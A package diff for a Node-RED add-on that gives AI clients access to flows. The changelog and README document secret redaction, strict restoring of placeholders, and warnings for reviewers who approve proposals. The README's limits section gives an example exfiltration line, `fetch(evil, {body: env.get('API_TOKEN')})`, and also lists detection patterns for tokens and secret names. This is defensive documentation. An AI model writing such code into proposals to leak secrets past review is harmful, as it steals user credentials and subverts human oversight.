@com55/node-red-ai-access 0.2.0-beta.4 → 0.2.0-beta.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -6,6 +6,64 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to
7
7
  [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
8
8
 
9
+ ## [0.2.0-beta.5] - 2026-10-28
10
+
11
+ ### Security
12
+
13
+ - `outbound_node_changed` (now incl. http response, link out/call and
14
+ third-party nodes with url/host fields) and new `secret_reference_added`
15
+ (code/config newly reading a secret-named env/global/flow value) are emitted
16
+ on every proposal, not only when secrets were restored; red approve banner.
17
+ - Unquoted values: strong secret names redact any value; weak names need a
18
+ random-looking value (digit/symbol, 16+ chars, or high entropy).
19
+ - Full-field redaction is decided by length only (no time budget), so reads and
20
+ submits agree.
21
+ - Redaction scanning is linear-time: the connection-string rule is a plain split
22
+ (was quadratic: 250k chars took ~46 s), every regex is length-bounded, and
23
+ fields over 256 KB are hidden whole.
24
+ - More reviewer warnings when secrets are restored: `secret_wires_changed`,
25
+ `secret_scope_changed`, `outbound_node_changed`, `secret_tab_changed`.
26
+ - Secret-named URL query params are redacted; duplicate header names restore
27
+ one-to-one.
28
+ - Strict placeholder restore on proposal submit: `[REDACTED]` becomes the real
29
+ secret only in its original node/field/line, env and header entries matched by
30
+ exact name (never by index); added, duplicated, moved or renamed placeholders
31
+ reject the submit (`redacted_placeholder_mismatch`). Approve cards list
32
+ restored-secret fields and warn loudly (`secret_destination_changed`,
33
+ `secret_node_code_changed`) when such a node's destination or code changes.
34
+ - Detection also covers DSN/connection strings, unquoted `password: x`,
35
+ `Buffer.from("user:pw")`, the `PW` pattern, and content of node
36
+ `name`/`label`/`info`; string fields over 256 KB are fully redacted for AI.
37
+ The dashboard warns when the pattern list is empty, and the REST redaction
38
+ audit middleware only acts on AI REST routes under `/mcp/`.
39
+ - Likely secrets are redacted from everything AI clients receive: MCP tools
40
+ (`list_flows`, `get_flow`, `get_node`, `get_node_field`, `search_flows`,
41
+ proposal tools and diffs), REST with an access link or OAuth token, and GET
42
+ links. Previously `list_flows` returned plaintext env values such as a group
43
+ `OAUTH_POC_PASSWORD` to OAuth read clients. Admin-session (dashboard) reads
44
+ are unchanged and show real values.
45
+ - Env entries (tab, group, subflow, subflow instance, node, `global-config`)
46
+ whose name matches a secret pattern get `value: "[REDACTED]"` and
47
+ `redacted: true`; secret-named node settings and name/value pairs in node
48
+ config (change rules, inject props, http headers) are redacted too.
49
+ - Function `func`/`initialize`/`finalize` and all other string fields are
50
+ scanned for known token formats (AWS, GitHub, Slack, OpenAI, Stripe, Google,
51
+ JWT, PEM private keys, Bearer/Basic headers, URL passwords) and
52
+ `name = "literal"` assignments; only the literal is replaced. Redacted nodes
53
+ carry `_aiRedactions` (field paths).
54
+ - Proposals restore `[REDACTED]` placeholders to the original secret on submit
55
+ (full tab or node ops), so AI edits never overwrite a secret with the
56
+ placeholder; unmatched placeholders produce a
57
+ `redacted_placeholder_unresolved` warning.
58
+ - The audit log records `ai.redacted` with the count per response and the
59
+ operation (never values); `proposal.created` adds `restoredRedactions`.
60
+
61
+ ### Added
62
+
63
+ - `secretNamePatterns` setting (dashboard Settings → Secret redaction: add,
64
+ remove, reset to defaults; `PUT /settings` accepts a list or `null` to reset).
65
+ Lockable via `settings.js` `aiAccess.secretNamePatterns`.
66
+
9
67
  ## [0.2.0-beta.4] - 2026-10-28
10
68
 
11
69
  ### Changed
package/README.md CHANGED
@@ -84,6 +84,9 @@ module.exports = {
84
84
  // Browser origins allowed to call /mcp/a, /mcp/api, and /mcp/rpc
85
85
  // cross-origin (default: none — no CORS headers are sent)
86
86
  // corsAllowedOrigins: ['https://app.example.com'],
87
+ // Secret-like names redacted from AI responses (default list below;
88
+ // [] turns off name matching — token formats are always redacted)
89
+ // secretNamePatterns: ['PASSWORD', 'SECRET', 'TOKEN', 'API_KEY', 'KEY'],
87
90
  // MCP OAuth (disabled by default; publicBaseUrl is the issuer)
88
91
  // oauth: {
89
92
  // enabled: true,
@@ -141,6 +144,87 @@ match case-insensitively and the configured origin is echoed; malformed origins
141
144
  are rejected. Exposed headers include `Mcp-Session-Id`, `WWW-Authenticate`,
142
145
  `Retry-After`, and the `RateLimit*` headers. Other origins get no CORS headers.
143
146
 
147
+ ### Secret redaction
148
+
149
+ Every AI-facing response (MCP tools, REST with an access link or OAuth token,
150
+ GET links, and proposal bodies/diffs shown to AI) has likely secrets replaced
151
+ with `[REDACTED]`. The dashboard (admin session) always shows real values.
152
+
153
+ - **By name**: env entries on tabs, groups, subflows, subflow instances, and
154
+ `global-config`, secret-named node settings (e.g. `password`), and name/value
155
+ pairs inside node config (change rules, inject props, http request headers)
156
+ whose name matches a pattern. Redacted env entries get `redacted: true`.
157
+ - **By content**: all other string fields, including function
158
+ `func`/`initialize`/`finalize`, are scanned for AWS (`AKIA…`), GitHub
159
+ (`ghp_…`, `github_pat_…`), Slack (`xox…`, webhook URLs), OpenAI (`sk-…`),
160
+ Stripe, Google (`AIza…`), JWTs, PEM private keys, `Bearer`/`Basic` headers,
161
+ `scheme://user:password@` URLs, and `name = "literal"` / `name: 'literal'`
162
+ assignments whose name matches a pattern. Only the literal is replaced.
163
+ - Redacted nodes list the redacted field paths in `_aiRedactions`.
164
+ - Also caught: connection strings / DSNs (`Server=…;Password=…;`), URL query
165
+ params with a secret name (`?key=abc123&x=1` → only `abc123`), unquoted
166
+ `password: x` / `token=x` in non-code text fields, and
167
+ `Buffer.from("user:pw")` / `btoa('user:pw')` basic-auth literals. Node
168
+ `name`/`label`/`info` are content-scanned only (no key-name rule). Any single
169
+ string field over 256 KB is sent to AI as `[REDACTED]` (decided by length
170
+ only, so reads and submits always agree). All patterns are length-bounded /
171
+ linear (no ReDoS).
172
+ - **Unquoted values** depend on name strength. Strong names
173
+ (`PASSWORD PASSWD PASSPHRASE SECRET CLIENT_SECRET TOKEN API_KEY APIKEY PRIVATE CREDENTIAL PWD PW`):
174
+ any value of 3+ chars except `none`/`null`/`${VAR}`-style references. Weak
175
+ names (`KEY AUTH SESSION COOKIE CONN PASS …` and custom patterns): the value
176
+ must look random — a digit or symbol, 16+ chars, 3+ character classes, or
177
+ Shannon entropy ≥ 3 — so prose like `Session: started` / `key: value` stays.
178
+ - **Proposals (strict restore)**: a `[REDACTED]` placeholder is restored to the
179
+ original secret on submit only when it stays exactly where it was shown: same
180
+ node id and field, env and name/value entries (headers, change rules) matched
181
+ by their exact name — never by array position — no more placeholders in the
182
+ field than the original had, and the text around each placeholder on its line
183
+ unchanged. Anything else (a new or duplicated placeholder, a renamed env var,
184
+ a header renamed to take a secret value, an edited line) makes the submit fail
185
+ with `redacted_placeholder_mismatch` and nothing is stored.
186
+ - Approving: the proposal card lists every field whose secret was restored, and
187
+ shows a red warning (`secret_destination_changed`) when a node holding a
188
+ restored secret had its `url`/`host`/`port`/`method`/`headers`/type or similar
189
+ destination changed, or `secret_node_code_changed` when its code changed. Also
190
+ flagged when secrets were restored: `secret_wires_changed` (its output wires
191
+ changed), `secret_scope_changed` (tab/group env such as `${API_HOST}`, or a
192
+ config node it uses, changed), `outbound_node_changed` (an http, mqtt, tcp,
193
+ udp, email, websocket, function, exec or file node was added/changed), and
194
+ `secret_tab_changed` (any other node in the tab changed).
195
+ - Always flagged (with or without restored secrets): `outbound_node_changed` for
196
+ any added/changed http request/response, mqtt, tcp, udp, email, websocket,
197
+ link out/call, function, exec or file node — or any node type with a
198
+ `url`/`host`/`server`/`broker`/`endpoint` field — and `secret_reference_added`
199
+ when added/changed code or config reads a secret-named value (`env.get("X")`,
200
+ `$env('X')`, `${X}`, `global.get`, `flow.get`, typed inputs of type
201
+ `env`/`global`/`flow`).
202
+ - Node-RED credentials (and `cred` env entries) are never part of flow output.
203
+ - The audit log records `ai.redacted` with the count per response (never
204
+ values).
205
+
206
+ **Redaction is not exfiltration protection.** It keeps secret values out of what
207
+ the AI reads; it cannot stop an approved flow from sending data. Review every
208
+ proposal — especially red security banners — before approving.
209
+
210
+ **Limits — redaction is best-effort.** Detection uses names and known token
211
+ formats; secrets with unusual names or formats can still reach AI. Strict
212
+ restore only stops the AI from _copying_ a placeholder to a new place: an AI
213
+ proposal can still read an existing variable at runtime (e.g. add
214
+ `fetch(evil, {body: env.get('API_TOKEN')})`, or use `token` already defined in a
215
+ function) because flows run with the real values. Always review code and
216
+ destination changes in proposals before approving, especially on nodes flagged
217
+ above.
218
+
219
+ Default patterns (case-insensitive whole words; a trailing `S` is allowed, and
220
+ patterns of 6+ letters also match glued names like `DBPASSWORD`):
221
+ `PASSWORD PASSWD PASS PWD PW PASSPHRASE SECRET CLIENT_SECRET TOKEN API_KEY APIKEY KEY PRIVATE CREDENTIAL AUTH AUTHORIZATION BEARER SESSION COOKIE CONNECTION_STRING CONN_STR CONN DSN`.
222
+ `KEY` matches `API_KEY` / `apiKey` but not `KEYBOARD` or `MONKEY`; `AUTH` does
223
+ not match `AUTHOR` or `OAUTH`. Names ending in a descriptor word (`TOKEN_URL`,
224
+ `AUTH_TYPE`, `SESSION_TIMEOUT`, `keyType`) are not redacted. Edit the list on
225
+ the dashboard **Settings** tab (add, remove, reset to defaults) or lock it with
226
+ `aiAccess.secretNamePatterns`.
227
+
144
228
  ### Settings precedence
145
229
 
146
230
  Effective values are resolved **without restart** in this order (highest wins):
@@ -165,15 +249,15 @@ and an **Open AI Access dashboard** button.
165
249
 
166
250
  Everything else is on the dashboard. The **Settings** tab lets `*` admins change
167
251
  default deploy type, access-token TTL, maximum active tokens, Public URL (with a
168
- reachability **Check**), CORS origins, and the three rate limits, and shows
169
- Express's effective `trust proxy` setting. The **OAuth** tab configures token
170
- lifetimes and the client limit, lists registered clients with revoke buttons,
171
- and reports route collisions (linking `http in` nodes to the editor) and the
172
- `httpNodeRoot: false` metadata fallback. `read` users see the same values
173
- read-only; writes need `*`, exactly as before. Changes apply immediately;
174
- changing limits starts fresh rate-limit buckets. Enabling OAuth with no Public
175
- URL or an HTTP non-loopback URL shows a warning confirmation; it does not block
176
- the change. Fields set in `settings.js` are locked.
252
+ reachability **Check**), CORS origins, secret redaction patterns, and the three
253
+ rate limits, and shows Express's effective `trust proxy` setting. The **OAuth**
254
+ tab configures token lifetimes and the client limit, lists registered clients
255
+ with revoke buttons, and reports route collisions (linking `http in` nodes to
256
+ the editor) and the `httpNodeRoot: false` metadata fallback. `read` users see
257
+ the same values read-only; writes need `*`, exactly as before. Changes apply
258
+ immediately; changing limits starts fresh rate-limit buckets. Enabling OAuth
259
+ with no Public URL or an HTTP non-loopback URL shows a warning confirmation; it
260
+ does not block the change. Fields set in `settings.js` are locked.
177
261
 
178
262
  ### MCP OAuth
179
263
 
package/ai-access.html CHANGED
@@ -14,7 +14,7 @@
14
14
  }
15
15
  window.__com55AiAccessSidebarLoading = true;
16
16
 
17
- var EDITOR_SIDEBAR_ASSET_VERSION = '0.2.0-beta.4';
17
+ var EDITOR_SIDEBAR_ASSET_VERSION = '0.2.0-beta.5';
18
18
  var root = (RED.settings.httpAdminRoot || '/').replace(/\/$/, '');
19
19
  var src =
20
20
  (root || '') +